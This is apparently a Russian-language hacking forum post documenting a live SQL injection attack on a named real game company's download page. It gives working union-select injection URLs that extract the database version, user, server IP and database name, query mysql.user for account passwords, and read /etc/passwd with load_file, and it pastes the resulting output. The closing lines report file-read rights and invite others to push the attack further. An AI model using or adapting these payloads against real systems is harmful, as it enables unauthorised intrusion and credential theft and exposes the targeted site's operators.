http://www.sigames.com/downloads.php?type=view&id=20999+union+select+aes_ decrypt(aes_encrypt(version(),0x71),0x71),2,aes_de crypt(aes_encrypt(user(),0x71),0x71),aes_decrypt(a es_encrypt(database(),0x71),0x71),5,6,7,8,9,10,11, 12,13,14,15,16,17/*

4.1.13-standard:si_admin@62.73.186.72:sigames_v2

http://www.sigames.com/downloads.php?type=view&id=20999+union+select+user ,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17+fr om+mysql.user+limit+0,1/*

Есть доступ к mysql.user

http://www.sigames.com/downloads.php?type=view&id=20999+union+select+load _file('/etc/passwd'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+f rom+mysql.user/*

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13roxy:/bin:/bin/sh
postgres:x:31:32ostgres:/var/lib/postgres:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
sshd:x:100:65534::/var/run/sshd:/bin/false
stan:x:1000:100::/home/stan:/bin/bash
jason:x:1001:100::/home/jason:/bin/bash
Debian-exim:x:103:103::/var/spool/exim4:/bin/false
mysql:x:1002:104::/home/mysql:
bb:x:1003:105::/home/bb:
hobbit:x:1004:106:Hobbit user:/usr/lib/hobbit:

У юзера есть права на чтение файлов но из веб дир вывести ничего не получилось.
Может у кого чего иполучится.Удачи!